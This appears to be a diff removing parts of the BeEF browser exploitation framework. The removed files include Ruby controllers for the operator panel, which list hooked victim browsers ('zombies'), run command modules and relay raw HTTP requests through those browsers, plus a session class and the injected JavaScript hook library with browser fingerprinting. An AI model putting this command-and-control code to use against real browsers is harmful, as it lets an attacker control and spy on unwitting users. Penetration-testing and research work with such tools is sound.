command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
command_module_name = File.basename command_module.path, '.rb'
|
||||
|
||||
resultsdb = BeEF::Models::Result.all(:command_id => command_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil?
|
||||
|
||||
resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'command_module_name' => command_module_name,
|
||||
'command_module_id' => command_module.id,
|
||||
'results' => results}.to_json
|
||||
|
||||
end
|
||||
|
||||
# Returns the definition of a command.
|
||||
# In other words it returns the command that was used to command_module a zombie.
|
||||
def select_command
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
|
||||
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
command_module_name = File.basename command_module.path, '.rb'
|
||||
|
||||
e = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'command_module_name' => command_module_name,
|
||||
'command_module_id' => command_module.id,
|
||||
'data' => JSON.parse(command.data),
|
||||
'definition' => JSON.parse(e.to_json)
|
||||
}.to_json
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Takes a list of command_modules and returns them as a JSON array
|
||||
def command_modules2json(command_modules)
|
||||
command_modules_json = {}
|
||||
i = 1
|
||||
|
||||
command_modules.each do |command_module|
|
||||
next if not File.exists?(command_module)
|
||||
|
||||
e = File.basename command_module, '.rb'
|
||||
e = BeEF::Modules::Commands.const_get(e.capitalize).new
|
||||
command_modules_json[i] = JSON.parse(e.to_json)
|
||||
i += 1
|
||||
end
|
||||
|
||||
if not command_modules_json.empty?
|
||||
return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
|
||||
else
|
||||
return {'success' => 'false'}.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# return the input requred for the module in JSON format
|
||||
def dynamic_modules2json(id)
|
||||
command_modules_json = {}
|
||||
|
||||
mod = BeEF::Models::CommandModule.first(:id => id)
|
||||
|
||||
# if the module id is not in the database return false
|
||||
return {'success' => 'false'}.to_json if(not mod)
|
||||
|
||||
# the path will equal Dynamic/<type> and this will get just the type
|
||||
dynamic_type = mod.path.split("/").last
|
||||
|
||||
e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
|
||||
e.update_info(mod.id)
|
||||
e.update_data()
|
||||
command_modules_json[1] = JSON.parse(e.to_json)
|
||||
if not command_modules_json.empty?
|
||||
return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json
|
||||
else
|
||||
return {'success' => 'false'}.to_json
|
||||
end
|
||||
end
|
||||
|
||||
def dynamic_payload2json(id, payload_name)
|
||||
command_modules_json = {}
|
||||
|
||||
dynamic_command_module = BeEF::Models::CommandModule.first(:id => id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Module does not exists" if dynamic_command_module.nil?
|
||||
|
||||
# the path will equal Dynamic/<type> and this will get just the type
|
||||
dynamic_type = dynamic_command_module.path.split("/").last
|
||||
|
||||
# get payload options in JSON
|
||||
e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
|
||||
payload_options_json = []
|
||||
payload_options_json[1] = e.get_payload_options(payload_name)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Payload JSON generation error" if payload_options_json.empty?
|
||||
|
||||
return {'success' => 'true', 'command_modules' => payload_options_json}.to_json
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,48 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
|
||||
<title>BeEF Control Panel</title>
|
||||
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
|
||||
|
||||
<%= script_tag 'ext-base.js' %>
|
||||
<%= script_tag 'ext-all.js' %>
|
||||
<%= script_tag 'ext-beef.js' %>
|
||||
<%= script_tag 'ux/TabCloseMenu.js' %>
|
||||
<%= script_tag 'ux/StatusBar.js' %>
|
||||
<%= script_tag 'ux/PagingStore.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/common.js' %>
|
||||
<%= script_tag 'ui/panel/DistributedEngine.js' %>
|
||||
<%= script_tag 'ui/panel/PanelStatusBar.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabDetails.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %>
|
||||
<%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/PanelViewer.js' %>
|
||||
<%= script_tag 'ui/panel/DataGrid.js' %>
|
||||
<%= script_tag 'ui/panel/MainPanel.js' %>
|
||||
<%= script_tag 'ui/panel/ZombieTab.js' %>
|
||||
<%= script_tag 'ui/panel/ZombieTabs.js' %>
|
||||
<%= script_tag 'ui/panel/zombiesTreeList.js' %>
|
||||
<%= script_tag 'ui/panel/ZombiesMgr.js' %>
|
||||
|
||||
<%= script_tag 'ui/panel/Logout.js' %>
|
||||
<%= script_tag 'ui/panel/WelcomeTab.js' %>
|
||||
|
||||
<%= stylesheet_tag 'ext-all.css' %>
|
||||
<%= stylesheet_tag 'base.css' %>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<%= nonce_tag %>
|
||||
<div id="header">
|
||||
<div class="right-menu">
|
||||
<a id='do-logout-menu' href='#'>Logout</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -1,87 +0,0 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Panel < BeEF::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# default index page
|
||||
def index; end
|
||||
|
||||
# return a JSON object contains all the updates for the hooked browser trees
|
||||
def hooked_browser_tree_update
|
||||
# retrieve the hbs that are online
|
||||
hooked_browsers_online = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the hbs that are offline
|
||||
hooked_browsers_offline = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30)))
|
||||
|
||||
# retrieve the distributed engine rules that are enabled
|
||||
distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Models::DistributedEngineRules.all(:enabled => true))
|
||||
|
||||
# hash that gets populated with all the information for the hb trees
|
||||
ret = {
|
||||
'success' => true,
|
||||
|
||||
# the list of hb
|
||||
'hooked-browsers' => {
|
||||
'online' => hooked_browsers_online,
|
||||
'offline' => hooked_browsers_offline
|
||||
},
|
||||
|
||||
# the rules for the distributed engine
|
||||
'ditributed-engine-rules' => distributed_engine_rules
|
||||
}
|
||||
|
||||
@body = ret.to_json
|
||||
end
|
||||
|
||||
# Takes a list distributed engine rules and format the results into JSON
|
||||
def distributed_engine_rules_2_json_simple(rules)
|
||||
|
||||
end
|
||||
|
||||
# Takes a list of zombies and format the results in a JSON array.
|
||||
def zombies2json_simple(zombies)
|
||||
zombies_hash = {}
|
||||
i = 0
|
||||
|
||||
zombies.each do |zombie|
|
||||
# create hash of zombie details
|
||||
zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
|
||||
i+=1
|
||||
end
|
||||
|
||||
zombies_hash
|
||||
end
|
||||
|
||||
# create a hash of simple hooked browser details
|
||||
def get_simple_hooked_browser_hash(hooked_browser)
|
||||
|
||||
browser_icon = BeEF::Models::BrowserDetails.browser_icon(hooked_browser.session)
|
||||
os_icon = BeEF::Models::BrowserDetails.os_icon(hooked_browser.session)
|
||||
domain = BeEF::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
|
||||
|
||||
return {
|
||||
'session' => hooked_browser.session,
|
||||
'ip' => hooked_browser.ip,
|
||||
'domain' => domain,
|
||||
'browser_icon' => browser_icon,
|
||||
'os_icon' => os_icon
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,145 +0,0 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
# HTTP Controller for the Requester component of BeEF.
|
||||
#
|
||||
class Requester < BeEF::HttpController
|
||||
|
||||
# Variable representing the Http DB model.
|
||||
H = BeEF::Models::Http
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/send' => method(:send_request),
|
||||
'/history.json' => method(:get_zombie_history),
|
||||
'/response.json' => method(:get_zombie_response)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Send a new http request to the hooked browser.
|
||||
def send_request
|
||||
# validate that the hooked browser's session has been sent
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid session id" if not Filter.is_valid_hook_session_id?(zombie_session)
|
||||
|
||||
# validate that the hooked browser exists in the db
|
||||
zombie = Z.first(:session => zombie_session) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
|
||||
|
||||
# validate that the raw request has been sent
|
||||
raw_request = @params['raw_request'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not Filter.has_non_printable_char?(raw_request)
|
||||
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate that the raw request is correct and can be used
|
||||
req_parts = raw_request.split(/ |\n/) # break up the request
|
||||
verb = req_parts[0]
|
||||
raise 'Only GET or POST requests are supported' if not Filter.is_valid_verb?(verb) #check verb
|
||||
uri = req_parts[1]
|
||||
raise 'Invalid URI' if not Filter.is_valid_url?(uri) #check uri
|
||||
version = req_parts[2]
|
||||
raise 'Invalid HTTP version' if not Filter.is_valid_http_version?(version) # check http version - HTTP/1.0
|
||||
host_str = req_parts[3]
|
||||
raise 'Invalid HTTP version' if not Filter.is_valid_host_str?(host_str) # check host string - Host:
|
||||
host = req_parts[4]
|
||||
host_parts = host.split(/:/)
|
||||
hostname = host_parts[0]
|
||||
raise 'Invalid hostname' if not Filter.is_valid_hostname?(hostname) # check the target hostname
|
||||
hostport = host_parts[1] || nil
|
||||
if !hostport.nil?
|
||||
raise 'Invalid hostport' if not Filter.nums_only?(hostport) # check the target hostport
|
||||
end
|
||||
|
||||
# (re)build the request
|
||||
green_request = StringIO.new(verb + " " + uri + " " + version + "\n" + host_str + " " + host)
|
||||
request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
|
||||
request.parse(green_request)
|
||||
|
||||
# Saves the new HTTP request.
|
||||
http = H.new(
|
||||
:request => raw_request,
|
||||
:method => request.request_method,
|
||||
:domain => request.host,
|
||||
:path => request.unparsed_uri,
|
||||
:date => Time.now,
|
||||
:zombie_id => zombie.id
|
||||
)
|
||||
|
||||
if request.request_method.eql? 'POST'
|
||||
http.content_length = request.content_length
|
||||
end
|
||||
|
||||
http.save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Returns a JSON object containing the history of requests sent to the zombie.
|
||||
def get_zombie_history
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate that the hooked browser's session has been sent
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
|
||||
# validate that the hooked browser exists in the db
|
||||
zombie = Z.first(:session => zombie_session) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
|
||||
|
||||
history = []
|
||||
H.all(:zombie_id => zombie.id).each{|http|
|
||||
history << {
|
||||
'id' => http.id,
|
||||
'domain' => http.domain,
|
||||
'path' => http.path,
|
||||
'has_ran' => http.has_ran,
|
||||
'date' => http.date
|
||||
}
|
||||
}
|
||||
|
||||
@body = {'success' => 'true', 'history' => history}.to_json
|
||||
end
|
||||
|
||||
# Returns a JSON objecting containing the response of a request.
|
||||
def get_zombie_response
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# validate the http id
|
||||
http_id = @params['http_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil?
|
||||
|
||||
# validate that the http object exist in the dabatase
|
||||
http_db = H.first(:id => http_id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil?
|
||||
|
||||
res = {
|
||||
'id' => http_db.id,
|
||||
'request' => http_db.request,
|
||||
'response' => http_db.response,
|
||||
'domain' => http_db.domain,
|
||||
'path' => http_db.path,
|
||||
'date' => http_db.date,
|
||||
'has_ran' => http_db.has_ran
|
||||
}
|
||||
|
||||
@body = {'success' => 'true', 'result' => res}.to_json
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,113 +0,0 @@
|
||||
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
# The session for BeEF UI.
|
||||
#
|
||||
class Session
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_reader :ip, :id, :nonce, :auth_timestamp
|
||||
|
||||
def initialize
|
||||
set_logged_out
|
||||
@auth_timestamp = Time.new
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged in
|
||||
#
|
||||
def set_logged_in(ip)
|
||||
@id = BeEF::Crypto::secure_token
|
||||
@nonce = BeEF::Crypto::secure_token
|
||||
@ip = ip
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged out
|
||||
#
|
||||
def set_logged_out
|
||||
@id = nil
|
||||
@nonce = nil
|
||||
@ip = nil
|
||||
end
|
||||
|
||||
#
|
||||
# set teh auth_timestamp
|
||||
#
|
||||
def set_auth_timestamp(time)
|
||||
@auth_timestamp = time
|
||||
end
|
||||
|
||||
#
|
||||
# return the session id
|
||||
#
|
||||
def get_id
|
||||
@id
|
||||
end
|
||||
|
||||
#
|
||||
# return the nonce
|
||||
#
|
||||
def get_nonce
|
||||
@nonce
|
||||
end
|
||||
|
||||
#
|
||||
# return the auth_timestamp
|
||||
#
|
||||
def get_auth_timestamp
|
||||
@auth_timestamp
|
||||
end
|
||||
|
||||
#
|
||||
# Check if nonce valid
|
||||
#
|
||||
def valid_nonce?(request)
|
||||
|
||||
# check if a valid session
|
||||
return false if not valid_session?(request)
|
||||
return false if @nonce.nil?
|
||||
return false if not request.request_method.eql? "POST"
|
||||
|
||||
# get nonce from request
|
||||
request_nonce = request.query['nonce']
|
||||
return false if request_nonce.nil?
|
||||
|
||||
# verify nonce
|
||||
request_nonce.eql? @nonce
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Check if a session valid
|
||||
#
|
||||
def valid_session?(request)
|
||||
|
||||
# check if a valid session exists
|
||||
return false if @id.nil?
|
||||
return false if @ip.nil?
|
||||
|
||||
# check ip address matches
|
||||
return false if not @ip.to_s.eql? request.peeraddr[3]
|
||||
|
||||
# get session cookie name from config
|
||||
config = BeEF::Configuration.instance
|
||||
session_cookie_name = config.get('session_cookie_name')
|
||||
|
||||
# check session id matches
|
||||
request.cookies.each{|cookie|
|
||||
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
|
||||
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
|
||||
}
|
||||
|
||||
# not a valid session
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,46 +0,0 @@
|
||||
/*!
|
||||
* BeEF JS Library <%= @beef_version %>
|
||||
* http://beef.googlecode.com/
|
||||
*/
|
||||
|
||||
$j = jQuery.noConflict();
|
||||
|
||||
//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
|
||||
|
||||
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
|
||||
var BeefJS = {
|
||||
|
||||
version: '<%= @beef_version %>',
|
||||
|
||||
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
|
||||
pageIsLoaded: false,
|
||||
|
||||
// An array containing functions to be executed by Beef.
|
||||
commands: new Array(),
|
||||
|
||||
// An array containing all the BeEF JS components.
|
||||
components: new Array(),
|
||||
|
||||
/**
|
||||
* Adds a function to execute.
|
||||
* @param: {Function} the function to execute.
|
||||
*/
|
||||
execute: function(fn) {
|
||||
this.commands.push(fn);
|
||||
},
|
||||
|
||||
/**
|
||||
* Registers a component in BeEF JS.
|
||||
* @params: {String} the component.
|
||||
*
|
||||
* Components are very important to register so the framework does not
|
||||
* send them back over and over again.
|
||||
*/
|
||||
regCmp: function(component) {
|
||||
this.components.push(component);
|
||||
}
|
||||
};
|
||||
|
||||
window.beef = BeefJS;
|
||||
}
|
||||
@@ -1,688 +0,0 @@
|
||||
/**
|
||||
* @literal object: beef.browser
|
||||
*
|
||||
* Basic browser functions.
|
||||
*/
|
||||
beef.browser = {
|
||||
|
||||
/**
|
||||
* Returns the user agent that the browser is claiming to be.
|
||||
* @example: beef.browser.getBrowserReportedName()
|
||||
*/
|
||||
getBrowserReportedName: function() {
|
||||
return navigator.userAgent;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE6.
|
||||
* @example: beef.browser.isIE6()
|
||||
*/
|
||||
isIE6: function() {
|
||||
return !window.XMLHttpRequest && !window.globalStorage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE7.
|
||||
* @example: beef.browser.isIE7()
|
||||
*/
|
||||
isIE7: function() {
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE8.
|
||||
* @example: beef.browser.isIE8()
|
||||
*/
|
||||
isIE8: function() {
|
||||
$j("body").append('<!--[if IE 8]> <div id="beefiecheck" class="ie ie8"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie8'))?true:false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE9.
|
||||
* @example: beef.browser.isIE9()
|
||||
*/
|
||||
isIE9: function() {
|
||||
$j("body").append('<!--[if IE 9]> <div id="beefiecheck" class="ie ie9"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie9'))?true:false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if IE.
|
||||
* @example: beef.browser.isIE()
|
||||
*/
|
||||
isIE: function() {
|
||||
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF2.
|
||||
* @example: beef.browser.isFF2()
|
||||
*/
|
||||
isFF2: function() {
|
||||
return !!window.globalStorage && !window.postMessage;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF3.
|
||||
* @example: beef.browser.isFF3()
|
||||
*/
|
||||
isFF3: function() {
|
||||
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF35.
|
||||
* @example: beef.browser.isFF35()
|
||||
*/
|
||||
isFF35: function() {
|
||||
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF36.
|
||||
* @example: beef.browser.isFF36()
|
||||
*/
|
||||
isFF36: function() {
|
||||
return !!window.globalStorage && !!window.FileReader && !window.multitouchData;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF4.
|
||||
* @example: beef.browser.isFF4()
|
||||
*/
|
||||
isFF4: function() {
|
||||
return !!window.globalStorage && !!window.history.replaceState;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function() {
|
||||
return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari.
|
||||
* @example: beef.browser.isS()
|
||||
*/
|
||||
isS: function() {
|
||||
return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 5.
|
||||
* @example: beef.browser.isC5()
|
||||
*/
|
||||
isC5: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 6.
|
||||
* @example: beef.browser.isC6()
|
||||
*/
|
||||
isC6: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 7.
|
||||
* @example: beef.browser.isC7()
|
||||
*/
|
||||
isC7: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 8.
|
||||
* @example: beef.browser.isC8()
|
||||
*/
|
||||
isC8: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 9.
|
||||
* @example: beef.browser.isC9()
|
||||
*/
|
||||
isC9: function() {
|
||||
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 10.
|
||||
* @example: beef.browser.isC10()
|
||||
*/
|
||||
isC10: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function() {
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 9.50 trough 9.52.
|
||||
* @example: beef.browser.isO952()
|
||||
*/
|
||||
isO952: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 9.60 trough 9.64.
|
||||
* @example: beef.browser.isO960()
|
||||
*/
|
||||
isO960: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 10.xx.
|
||||
* @example: beef.browser.isO10()
|
||||
*/
|
||||
isO10: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 11.xx.
|
||||
* @example: beef.browser.isO11()
|
||||
*/
|
||||
isO11: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera.
|
||||
* @example: beef.browser.isO()
|
||||
*/
|
||||
isO: function() {
|
||||
return this.isO952() || this.isO960() || this.isO10() || this.isO11();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of browser being used.
|
||||
* @example: beef.browser.type().IE6
|
||||
* @example: beef.browser.type().FF
|
||||
* @example: beef.browser.type().O
|
||||
*/
|
||||
type: function() {
|
||||
|
||||
return {
|
||||
C5: this.isC5(), // Chrome 5
|
||||
C6: this.isC6(), // Chrome 6
|
||||
C7: this.isC7(), // Chrome 7
|
||||
C8: this.isC8(), // Chrome 8
|
||||
C9: this.isC9(), // Chrome 9
|
||||
C10: this.isC10(), // Chrome 10
|
||||
C: this.isC(), // Chrome any version
|
||||
FF2: this.isFF2(), // Firefox 2
|
||||
FF3: this.isFF3(), // Firefox 3
|
||||
FF35: this.isFF35(), // Firefox 3.5
|
||||
FF36: this.isFF36(), // Firefox 3.6
|
||||
FF4: this.isFF4(), // Firefox 4
|
||||
FF: this.isFF(), // Firefox any version
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
IE9: this.isIE9(), // Internet Explorer 9
|
||||
IE8: this.isIE8(), // Internet Explorer 8
|
||||
IE7: this.isIE7(), // Internet Explorer 7
|
||||
IE: this.isIE(), // Internet Explorer any version
|
||||
O952: this.isO952(), // Opera 9.50 trough 9.52
|
||||
O960: this.isO960(), // Opera 9.60 trough 9.64
|
||||
O10: this.isO10(), // Opera 10.xx
|
||||
O11: this.isO11(), // Opera 11.xx
|
||||
O: this.isO(), // Opera any version
|
||||
S: this.isS() // Safari any version
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of browser being used.
|
||||
* @return: {String} User agent software and version.
|
||||
*
|
||||
* @example: beef.browser.getBrowserVersion()
|
||||
*/
|
||||
getBrowserVersion: function() {
|
||||
|
||||
if (this.isC5()) { return '5' }; // Chrome 5
|
||||
if (this.isC6()) { return '6' }; // Chrome 6
|
||||
if (this.isC7()) { return '7' }; // Chrome 7
|
||||
if (this.isC8()) { return '8' }; // Chrome 8
|
||||
if (this.isC9()) { return '9' }; // Chrome 9
|
||||
if (this.isC10()) { return '10' }; // Chrome 10
|
||||
if (this.isFF2()) { return '2' }; // Firefox 2
|
||||
if (this.isFF3()) { return '3' }; // Firefox 3
|
||||
if (this.isFF35()) { return '3.5' }; // Firefox 3.5
|
||||
if (this.isFF36()) { return '3.6' }; // Firefox 3.6
|
||||
if (this.isFF4()) { return '4' }; // Firefox 4
|
||||
if (this.isIE6()) { return '6' }; // Internet Explorer 6
|
||||
if (this.isIE9()) { return '9' }; // Internet Explorer 9
|
||||
if (this.isIE8()) { return '8' }; // Internet Explorer 8
|
||||
if (this.isIE7()) { return '7' }; // Internet Explorer 7
|
||||
if (this.isO952()) { return '9.5' }; // Opera 9.5x
|
||||
if (this.isO960()) { return '9.6' }; // Opera 9.6
|
||||
if (this.isO10()) { return '10' }; // Opera 10.xx
|
||||
if (this.isO11()) { return '11' }; // Opera 11.xx
|
||||
return 'UNKNOWN'; // Unknown UA
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of user agent by hooked browser.
|
||||
* @return: {String} User agent software.
|
||||
*
|
||||
* @example: beef.browser.getBrowserName()
|
||||
*/
|
||||
getBrowserName: function() {
|
||||
|
||||
if (this.isC()) { return 'C' }; // Chrome any version
|
||||
if (this.isFF()) { return 'FF' }; // Firefox any version
|
||||
if (this.isIE()) { return 'IE' }; // Internet Explorer any version
|
||||
if (this.isO()) { return 'O' }; // Opera any version
|
||||
if (this.isS()) { return 'S' }; // Safari any version
|
||||
return 'UN'; // Unknown UA
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has flash installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasFlash()) { ... }
|
||||
*/
|
||||
hasFlash: function() {
|
||||
if (!this.type().IE) {
|
||||
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
|
||||
} else {
|
||||
flash_versions = 10;
|
||||
flash_installed = false;
|
||||
|
||||
if (window.ActiveXObject) {
|
||||
for (x = 2; x <= flash_versions; x++) {
|
||||
try {
|
||||
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
|
||||
if (Flash) {
|
||||
flash_installed = true;
|
||||
}
|
||||
}
|
||||
catch(e) { }
|
||||
}
|
||||
};
|
||||
return flash_installed;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Java installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasJava()) { ... }
|
||||
*/
|
||||
hasJava: function() {
|
||||
if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has VBScript enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasVBScript()) { ... }
|
||||
*/
|
||||
hasVBScript: function() {
|
||||
